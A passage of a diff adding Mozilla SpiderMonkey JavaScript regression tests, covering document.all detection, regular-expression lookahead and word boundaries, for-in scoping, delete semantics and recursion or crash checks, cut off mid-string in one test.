+ }
+ reportCompare(expect, actual, status);
+
+
+ status = summary + ' ' + inSection(4) + ' if (document.all !== undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all !== undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(5) + ' if (document.all != null) ' ;
+ expect = false;
+ actual = false;
+ if (document.all != null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(6) + ' if (document.all !== null) ' ;
+ expect = true;
+ actual = false;
+ if (document.all !== null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(7) + ' if (document.all == null) ';
+ expect = true;
+ actual = false;
+ if (document.all == null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(8) + ' if (document.all === null) ';
+ expect = false;
+ actual = false;
+ if (document.all === null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(9) + ' if (document.all == undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all == undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(10) + ' if (document.all === undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all === undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(11) +
+ ' if (typeof document.all == "undefined") ';
+ expect = true;
+ actual = false;
+ if (typeof document.all == 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(12) +
+ ' if (typeof document.all != "undefined") ';
+ expect = false;
+ actual = false;
+ if (typeof document.all != 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(13) + ' if ("all" in document) ';
+ expect = (document.compatMode == 'CSS1Compat') ? false : true;
+ actual = false;
+ if ('all' in document)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(14) + ' if (f.ie) ';
+ var f = new foo();
+
+ expect = false;
+ actual = false;
+ if (f.ie)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+}
+
+function foo()
+{
+ this.ie = document.all;
+}
diff --git a/js/src/tests/js1_5/Regress/regress-247179.js b/js/src/tests/js1_5/Regress/regress-247179.js
new file mode 100644
index 000000000..9e01051ee
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-247179.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 247179;
+var summary = 'RegExp \\b should not recognize non-ASCII alphanumerics as word characters';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 3;
+actual = "m\ucc44nd".split(/\b/).length;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-248444.js b/js/src/tests/js1_5/Regress/regress-248444.js
new file mode 100644
index 000000000..f04a4bac0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-248444.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 248444;
+var summary = 'toString/toSource of RegExp should escape slashes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+expect = '/[^\\/]+$/';
+
+status = summary + ' ' + inSection(1);
+re = /[^\/]+$/;
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+re = RegExp("[^\\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+re = RegExp("[^\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-249211.js b/js/src/tests/js1_5/Regress/regress-249211.js
new file mode 100644
index 000000000..4fb718ba9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-249211.js
@@ -0,0 +1,30 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 249211;
+var summary = 'support export and import for 4xp';
+var actual = '';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var o = {};
+ var f = function(){};
+ export *;
+ import o.*;
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-252892.js b/js/src/tests/js1_5/Regress/regress-252892.js
new file mode 100644
index 000000000..5f799bb18
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-252892.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 252892;
+var summary = 'for (var i in o) in heavyweight function f should define i in f\'s activation';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+var dodis;
+
+function f1(o){for(var x in o)printStatus(o[x]); return x}
+function f2(o){with(this)for(var x in o)printStatus(o[x]); return x}
+function f2novar(o){with(this)for(x in o)printStatus(o[x]); return x}
+function f3(i,o){for(var x in o)printStatus(o[x]); return x}
+function f4(i,o){with(this)for(var x in o)printStatus(o[x]); return x}
+
+var t=0;
+function assert(c)
+{
+ ++t;
+
+ status = summary + ' ' + inSection(t);
+ expect = true;
+ actual = c;
+
+ if (!c)
+ {
+ printStatus(t + " FAILED!");
+ }
+ reportCompare(expect, actual, summary);
+}
+
+assertEq(f1([]), undefined);
+
+assertEq(f1(['first']), "0");
+
+assertEq(f2([]), undefined);
+
+assertEq(f2(['first']), "0");
+
+assertEq(f3(42, []), undefined);
+
+assertEq(f3(42, ['first']), "0");
+
+assertEq(f4(42, []), undefined);
+
+assertEq(f4(42, ['first']), "0");
+
+this.x = 41;
+
+assertEq(f2([]), undefined);
+
+assertEq(f2novar([]), 41);
+
+assertEq(f2(['first']), undefined);
+
+assertEq(f2novar(['first']), "0");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_5/Regress/regress-253150.js b/js/src/tests/js1_5/Regress/regress-253150.js
new file mode 100644
index 000000000..dc6a0de10
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-253150.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 253150;
+var summary = 'Do not warn on detecting properties';
+var actual = '';
+var expect = 'No warning';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var testobject = {};
+
+options('strict');
+options('werror');
+
+try
+{
+ var testresult = testobject.foo;
+ actual = 'No warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': 1');
+
+try
+{
+ if (testobject.foo)
+ {
+ ;
+ }
+ actual = 'No warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': 2');
+
+try
+{
+ if (typeof testobject.foo == 'undefined')
+ {
+ ;
+ }
+ actual = 'No warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': 3');
+
+try
+{
+ if (testobject.foo == null)
+ {
+ ;
+ }
+ actual = 'No warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': 4');
+
+try
+{
+ if (testobject.foo == undefined)
+ {
+ ;
+ }
+ actual = 'No warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': 3');
diff --git a/js/src/tests/js1_5/Regress/regress-254296.js b/js/src/tests/js1_5/Regress/regress-254296.js
new file mode 100644
index 000000000..041c3876c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-254296.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254296;
+var summary = 'javascript regular expression negative lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = [3].toString();
+actual = /^\d(?!\.\d)/.exec('3.A');
+if (actual)
+{
+ actual = actual.toString();
+}
+
+reportCompare(expect, actual, summary + ' ' + inSection(1));
+
+expect = 'AB';
+actual = /(?!AB+D)AB/.exec("AB") + '';
+reportCompare(expect, actual, summary + ' ' + inSection(2));
diff --git a/js/src/tests/js1_5/Regress/regress-254974.js b/js/src/tests/js1_5/Regress/regress-254974.js
new file mode 100644
index 000000000..306fafbb1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-254974.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// this test originally was only seen if typed into the js shell.
+// loading as a script file did not exhibit the problem.
+// this test case may not exercise the problem properly.
+
+var BUGNUMBER = 254974;
+var summary = 'all var and arg properties should be JSPROP_SHARED';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function testfunc(tokens) {
+ function eek(y) {} /* remove function eek and the code will change its behavior */
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+bad=testfunc;
+function testfunc(tokens) {
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+good=testfunc;
+
+var goodvalue = good("DIV[@id=\"test\"]");
+var badvalue = bad("DIV[@id=\"test\"]");
+
+printStatus(goodvalue);
+printStatus(badvalue);
+
+expect = goodvalue;
+actual = badvalue;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-256501.js b/js/src/tests/js1_5/Regress/regress-256501.js
new file mode 100644
index 000000000..11186d9df
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-256501.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256501;
+var summary = 'Check Recursion';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'error';
+
+try
+{
+ var N = 100*1000;
+ var buffer = new Array(N * 2 + 1);
+ for (var i = 0; i != N; ++i)
+ {
+ buffer[i] = 'do ';
+ buffer[buffer.length - i - 1] = ' while(0);';
+ }
+ buffer[N] = 'printStatus("TEST");';
+
+ // text is do do ... do print("TEST"); while(0); while(0); ... while(0);
+ var text = buffer.join('');
+
+ eval(text);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-256617.js b/js/src/tests/js1_5/Regress/regress-256617.js
new file mode 100644
index 000000000..6dfc44bec
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-256617.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// should fail with syntax error. won't run in browser...
+var BUGNUMBER = 256617;
+var summary = 'throw statement: eol should not be allowed';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'syntax error';
+
+try
+{
+ eval('throw\n1;');
+ actual = 'throw ignored';
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ {
+ actual = 'syntax error';
+ }
+ else
+ {
+ actual = 'no error';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-256798.js b/js/src/tests/js1_5/Regress/regress-256798.js
new file mode 100644
index 000000000..3926c40eb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-256798.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256798;
+var summary = 'regexp zero-width positive lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+status = summary + ' ' + inSection(1);
+expect = 'aaaa,a';
+actual = /(?:(a)+)/.exec("baaaa") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+expect = ',aaa';
+actual = /(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+expect = 'b,aaa';
+actual = /b(?=(a+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
+
+// XXXbc revisit this
+status = summary + ' ' + inSection(4);
+expect = 'null';
+actual = /b(?=(b+))/.exec("baaabac") + '';
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-259935.js b/js/src/tests/js1_5/Regress/regress-259935.js
new file mode 100644
index 000000000..0c8a717ad
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-259935.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(xulRuntime.shell) -- browser only
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 259935;
+var summary = 'document.all can be easily detected';
+var actual = '';
+var expect = 'not detected';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ document = {};
+}
+
+function foo() {
+ this.ie = document.all;
+}
+
+var f = new foo();
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
+
+f = {ie: document.all};
+
+if (f.ie) {
+ actual = 'detected';
+} else {
+ actual = 'not detected';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-260541.js b/js/src/tests/js1_5/Regress/regress-260541.js
new file mode 100644
index 000000000..fc696ba25
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-260541.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// have not been able to reproduce the crash in any build.
+var BUGNUMBER = 260541;
+var summary = 'Recursive Error object should not crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var myErr = new Error( "Error Text" );
+myErr.name = myErr;
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-261886.js b/js/src/tests/js1_5/Regress/regress-261886.js
new file mode 100644
index 000000000..45fbf27e6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-261886.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 261886;
+var summary = 'Always evaluate delete operand expression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {a:1};
+
+expect = 2;
+try
+{
+ delete ++o.a;
+ actual = o.a;
+}
+catch(e)
+{
+ actual = o.a;
+ summary += ' ' + e;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-261887.js b/js/src/tests/js1_5/Regress/regress-261887.js
new file mode 100644
index 000000000..28e393928
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-261887.js
@@ -0,0 +1,37 @@
+// |reftest| skip -- we violate the spec here with our new iterators
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Oscar Fogelberg <osfo@home.se>
+var BUGNUMBER = 261887;
+var summary = 'deleted properties should not be visited by for in';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var count = 0;
+var result = "";
+var value = "";
+
+var t = new Object();
+t.one = "one";
+t.two = "two";
+t.three = "three";
+t.four = "four";
+
+for (var prop in t) {
+ if (count==1) delete(t.three);
+ count++;
+ value = value + t[prop];
+ result = result + prop;
+}
+
+expect = 'onetwofour:onetwofour';
+actual = value + ':' + result;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-271716-n.js b/js/src/tests/js1_5/Regress/regress-271716-n.js
new file mode 100644
index 000000000..f936d3081
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-271716-n.js
@@ -0,0 +1,27 @@
+// |reftest| skip -- never terminates
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 271716;
+var summary = 'Don\'t Crash on infinite loop creating new Arrays';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ a = new Array();
+ while (1) a = new Array(a);
+ actual = 'No Crash';
+}
+catch(e)
+{
+ actual = 'No Crash';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-274035.js b/js/src/tests/js1_5/Regress/regress-274035.js
new file mode 100644
index 000000000..00fcb1a04
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-274035.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274035;
+var summary = 'Array.prototype[concat|slice|splice] lengths';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' Array.prototype.concat.length ';
+expect = 1;
+actual = Array.prototype.concat.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' Array.prototype.slice.length ';
+expect = 2;
+actual = Array.prototype.slice.length;
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' Array.prototype.splice.length ';
+expect = 2;
+actual = Array.prototype.splice.length;
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/js1_5/Regress/regress-274888.js b/js/src/tests/js1_5/Regress/regress-274888.js
new file mode 100644
index 000000000..1b59b3ea3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-274888.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274888;
+var summary = 'Negative lookahead should match at positions > approx. 64k';
+var actual = '';
+var expect = '';
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+var status;
+var s;
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(1) + ' /(?!\\d)a/.text("12345a")';
+s = '12345a';
+
+expect = true;
+actual = re.test(s);
+
+reportCompare(expect, actual, status);
+
+re = /(?!\d)a/;
+status = summary + ' ' + inSection(2) + ' ' + '/(?!\\d)a/.text("1...ka")';
+s = '123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431